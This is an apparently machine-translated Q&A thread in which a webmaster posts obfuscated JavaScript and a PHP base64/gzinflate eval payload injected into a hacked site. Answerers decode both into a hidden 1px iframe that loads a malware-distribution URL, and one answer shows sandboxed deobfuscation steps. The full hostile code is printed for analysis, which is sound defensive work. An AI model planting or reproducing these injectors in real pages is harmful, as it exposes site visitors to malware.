web-dev-qa-db-ja.com

この挿入されたコードは何をしますか?

このコードがランダム(?)ファイルとファイル内の場所に挿入されたため、私のサイトの1つがハッキングされました。

誰かがそれが何をしようとしているのか理解していますか?それがどのように起こったのかを見つけるのを手助けしてくれるものなら何でも歓迎します。

また、再表示を停止する方法に関する提案はありますか?削除するたびに、しばらくして戻ってきます。

<!--0242d5--><script type="text/javascript" language="javascript" >                                                                                                                                                                                                                                                          p=parseInt;ss=(123)?String.fromCharCode:0;asgq="28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!70!7a!74!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!70!7a!74!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!77!77!77!2e!62!65!74!74!65!72!62!61!6@!6c!62!6f!6e!64!73!2e!6e!65!74!2f!56!4c!4e!53!65!63!30!31!2f!63!6e!74!2e!70!68!70!27!3b!d!a!20!20!20!20!70!7a!74!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!70!7a!74!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!70!7a!74!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!70!7a!74!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!70!7a!74!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!70!7a!74!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!70!7a!74!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!70!7a!74!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!70!7a!74!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!70!7a!74!2@!3b!d!a!20!20!20!20!7d!d!a!7d!2@!28!2@!3b".replace(/@/g,"9").split("!");try{document.body&=0.1}catch(gdsgsdg){zz=3;dbshre=62;if(dbshre){vfvwe=0;try{document;}catch(agdsg){vfvwe=1;}if(!vfvwe){e=eval;}s="";if(zz)for(i=0;i-485!=0;i++){if(window.document)s+=ss(p(asgq[i],16));}if(window.document)e(s);}}</script><!--/0242d5-->
----


CODE in various places and end of files
----

<?
#0242d5#
                                                                                                                                                                                                                                                          eval(gzinflate(base64_decode("5VbBcpswEL33KywOHRinNiCQnBJSz+TUc46lBwwC03EMRcRp7PG/d3eFk+Bx2k6SnuLRjKWn3bdvV1rZKlvWI2v0bj8XOmurpht1942KE6tTv7rpj3STGjixRqt0Xd6mJW4O8Mv3W7MmbtJWq6/rLtI6tj2fO1+uu7Zal5OirW+ulml7VefqsxuluvwJhfNnTAgmQyYUE5zJgIk5EwUufZfBrj/HiVywnKUEHYYUTHhM+jgHHwlEPjlLRHhOeEBcnALkTFAYiOGbYD4hHkUNWQDzjJCnlqBAEq0ge6/fBRCUcSPrWNqxHGAy0fijNGSdYQQcAAJDgUPKfqBGEmhscOIT4hFtRnMqFGQJ/GivenvgCQULMhYoFnLKhjMOUTzcgvlDGSA0yiA9fPGPmUC8eV+rnqJAHI2H5/eYqockaFOgowz7lF4e1WSPJTnU5mk8/pqEoCBYMTIwZzSg9jBjOXtNxcyNMuc6e2v2/hKL/yGc+km6f+M9wQ16+ob2/tiWsr/CJ7sx8FFOQLV76MyBamrLZ9+MgabnRWAD+ofrHPaReEYuc3x4+pQCLEKYndBhQK7QCzvu4AjI4OV4gbi3qZCid8+l5g37RyTgdPXNeZP7se9J3TInCL6QeGasEmvSqmaVZsqezqflWWKdJ5Yz0c2q6uzEYrCIuvZ+l9fZ7Y1ad5NFnd9/jN2Jt8/SLlvaZa5LnZfObruNeZQv9LJVseeLqCpss3J2m2Jzp2J3QBT1/ikSHEy8aA9ujBbOTsVqk66ivYbfn8RCwu3WKerWroCr+hS65wwn47Gzg727ap3Xd5MDv6PHsdZ2Y+MP2Lfq+5knHIfojw2VrWFjfzE1fwwuP1jRbw==")));

#/0242d5#

?>

--

(within above tags [#0242d5# and #/0242d5#] is this code -that wont show properly with just pasting here)

eval(gzinflate(base64_decode("5VbBcpswEL33KywOHRinNiCQnBJSz+TUc46lBwwC03EMRcRp7PG/d3eFk+Bx2k6SnuLRjKWn3bdvV1rZKlvWI2v0bj8XOmurpht1942KE6tTv7rpj3STGjixRqt0Xd6mJW4O8Mv3W7MmbtJWq6/rLtI6tj2fO1+uu7Zal5OirW+ulml7VefqsxuluvwJhfNnTAgmQyYUE5zJgIk5EwUufZfBrj/HiVywnKUEHYYUTHhM+jgHHwlEPjlLRHhOeEBcnALkTFAYiOGbYD4hHkUNWQDzjJCnlqBAEq0ge6/fBRCUcSPrWNqxHGAy0fijNGSdYQQcAAJDgUPKfqBGEmhscOIT4hFtRnMqFGQJ/GivenvgCQULMhYoFnLKhjMOUTzcgvlDGSA0yiA9fPGPmUC8eV+rnqJAHI2H5/eYqockaFOgowz7lF4e1WSPJTnU5mk8/pqEoCBYMTIwZzSg9jBjOXtNxcyNMuc6e2v2/hKL/yGc+km6f+M9wQ16+ob2/tiWsr/CJ7sx8FFOQLV76MyBamrLZ9+MgabnRWAD+ofrHPaReEYuc3x4+pQCLEKYndBhQK7QCzvu4AjI4OV4gbi3qZCid8+l5g37RyTgdPXNeZP7se9J3TInCL6QeGasEmvSqmaVZsqezqflWWKdJ5Yz0c2q6uzEYrCIuvZ+l9fZ7Y1ad5NFnd9/jN2Jt8/SLlvaZa5LnZfObruNeZQv9LJVseeLqCpss3J2m2Jzp2J3QBT1/ikSHEy8aA9ujBbOTsVqk66ivYbfn8RCwu3WKerWroCr+hS65wwn47Gzg727ap3Xd5MDv6PHsdZ2Y+MP2Lfq+5knHIfojw2VrWFjfzE1fwwuP1jRbw==")));

11
Keith B

最初の(太字の)コードは実際には次のとおりです。 deobfuscatejavascript.com でデコード

(function() {
    var pzt = document.createElement('iframe');

    pzt.src = 'http://www.betterbailbonds.net/VLNSec01/cnt.php';
    pzt.style.position = 'absolute';
    pzt.style.border = '0';
    pzt.style.height = '1px';
    pzt.style.width = '1px';
    pzt.style.left = '1px';
    pzt.style.top = '1px';

    if (!document.getElementById('pzt')) {
        document.write('<div id=\'pzt\'></div>');
        document.getElementById('pzt').appendChild(pzt);
    } })();

はい。これは悪意があるように見えます。 -何か-を行うために、別の(おそらくハッキングされた)サーバーからのファイルが含まれているようです。コードがこのように見えるのは、誰かがいくつかのツールを使用してコードを難読化しようとしたためです。幸いにもそのリバーシブル。

上記のコードは基本的に、ページに「非表示」のiframeを作成し、betterbailbonds.netからURLをロードしています。

カスペルスキーインターネットセキュリティがマルウェア配信サイトとしてフラグを立てます。

コードの2番目のチャンクはbase64でエンコードされ、gzinflatedでデコードされます。 このツール

エコー "

p = parseInt; ss =(123)?String.fromCharCode:0; asgq =\"28!66!75!6e!63!74!6 @!6f!6e!20!28!2 @ !20!7b!d!a!20!20!20!20!76!61!72!20!6 @!78!62!6 @!67!20!3d!20!64!6f!63!75 !6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6 @!66!72!61! 6d!65!27!2 @!3b!d!a!d!a!20!20!20!20!6 @!78!62!6 @!67!2e!73!72!63!20!3d !20!27!68!74!74!70!3a!2f!2f!77!77!77!2e!62!65!74!74!65!72!62!61!6 @!6c!62! 6f!6e!64!73!2e!6e!65!74!2f!56!4c!4e!53!65!63!30!31!2f!63!6e!74!2e!70!68!70! 27!3b!d!a!20!20!20!20!6 @!78!62!6 @!67!2e!73!74!7 @!6c!65!2e!70!6f!73!6 @!74!6 @!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20 !6 @!78!62!6 @!67!2e!73!74!7 @!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30! 27!3b!d!a!20!20!20!20!6 @!78!62!6 @!67!2e!73!74!7 @!6c!65!2e!68!65!6 @! 67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!6 @!78!62!6 @!67!2e! 73!74!7 @!6c!65!2e!77!6 @!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20! 20!20!6 @!78!62!6 @!67!2e!73!74!7 @!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70 !78!27!3b!d!a!20!20!20!20!6 @!78!62!6 @!67!2e!73!74!7 @!6c!65!2e!7 4!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6 @!66!20!28!21 !64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7 @!4 @!64!28 !27!6 @!78!62!6 @!67!27!2 @!2 @!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f !63!75!6d!65!6e!74!2e!77!72!6 @!74!65!28!27!3c!64!6 @!76!20!6 @!64!3d!5c! 27!6 @!78!62!6 @!67!5c!27!3e!3c!2f!64!6 @!76!3e!27!2 @!3b!d!a!20!20!20! 20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42! 7 @!4 @!64!28!27!6 @!78!62!6 @!67!27!2 @!2e!61!70!70!65!6e!64!43!68!6 @! 6c!64!28!6 @!78!62!6 @!67!2 @!3b!d!a!20!20!20!20!7d!d!a!7d!2 @!28!2 @ !3b\"。replace(/ @/g、\" 9\")。split(\"!\ "); try {document.body&= 0.1} catch(gdsgsdg){zz = 3; dbshre = 126; if (dbshre){vfvwe = 0; try {document;} catch(agdsg){vfvwe = 1;} if(!vfvwe){e = eval;} s =\"\"; if(zz)for(i = 0 ; i-509!= 0; i ++){if(window.document)s + = ss(p(asgq [i]、16));} if(window.document)e(s);}} ";

上記のコードは、次に難読化を解除します(今回はオンラインのものがエラーをスローしたため、手動で行う必要がありましたか?)を、似たような別の変数名で再度解読します。

(関数(){var ixbig = document.createElement( 'iframe');

ixbig.src = 'http://www.betterbailbonds.net/VLNSec01/cnt.php';
ixbig.style.position = 'absolute';
ixbig.style.border = '0';
ixbig.style.height = '1px';
ixbig.style.width = '1px';
ixbig.style.left = '1px';
ixbig.style.top = '1px';

if (!document.getElementById('ixbig')) {
    document.write('<div id=\'ixbig\'></div>');
    document.getElementById('ixbig').appendChild(ixbig);
} })();

簡単な google search は、多くの人々が同様のコードをページに埋め込んでいる広範な攻撃の一部になっていることを示しています。これはこれの複製でもあるようです stackexchage post

編集:

このページにアクセスすると、カスペルスキーのインターネットセキュリティを介してマルウェアのフラグが立てられることに気づきました。それは明らかにスクリプトを認識しており、それをHEUR:Trojan.Script.Genericとして定義します

23
NULLZ

ローカルで行われる

これは標準的なもので簡単に行うことができます:

利点の1つは、@ D3C4FFがコメントしたように、offlineを実行できることです。

プリアンブル

警告:不正なコードの実行は害を及ぼす可能性があるため、ホストに対する権限のない特別なユーザーアカウントを使用し、個人的なものを使用することを強くお勧めします。

一種の一時的なトリックがあります、私は使用します:

#!/bin/bash
adduser --disabled-password se-33671 </dev/null
su - se-33671 -c 'bash -i'
ps --user se-33671 feww && \
    echo WARNING: Something remain || \
    deluser --remove-home se-33671 </dev/null

。1最初のステップ

単にevalprintに変更し、phpタグで囲むだけです。

echo '<?php print(gzinflate(base64_decode("5VbBcpsw...jRbw==")));?>' |
    php > suspect.html

次に、suspect.htmlにjavasciptが表示されます

このステップは通常、サーバーによって実行され、html結果をクライアントに送信します。

。22番目のステップ

これには、spidermonkeyコマンドラインJavaScriptインタープリターを使用します。

windowオブジェクトがないため、コードを変更する必要があります。

実行する代わりに、すべてのevalprintに置き換えて印刷します。

すべてのwindow.document _1が条件を満たすため、

クリーニングタグとエスケープ:

sed -ne 's/<[^>]*>//g;
    s/^echo." *//;
    s/\\"/"/g;
    s/eval/print/;
    s/)e(/)print(/;
    s/window.document/1/g;
    /parse/p' suspect.html |
  smjs

これにより、汚染した包含がコンソールにダンプされます。

(function () {
    var ixbig = document.createElement('iframe');

    ixbig.src = 'http://www.betterbailbonds.net/VLNSec01/cnt.php';
    ixbig.style.position = 'absolute';
    ixbig.style.border = '0';
    ixbig.style.height = '1px';
    ixbig.style.width = '1px';
    ixbig.style.left = '1px';
    ixbig.style.top = '1px';

    if (!document.getElementById('ixbig')) {
        document.write('<div id=\'ixbig\'></div>');
        document.getElementById('ixbig').appendChild(ixbig);
    }
})();

これは現在のサンプルでは問題なく機能しますが、ケースごとに調整する必要があります。

一般に、難読化を取り除く最も簡単な方法は、部分的にを実行することですが、注意してください!

6
F. Hauri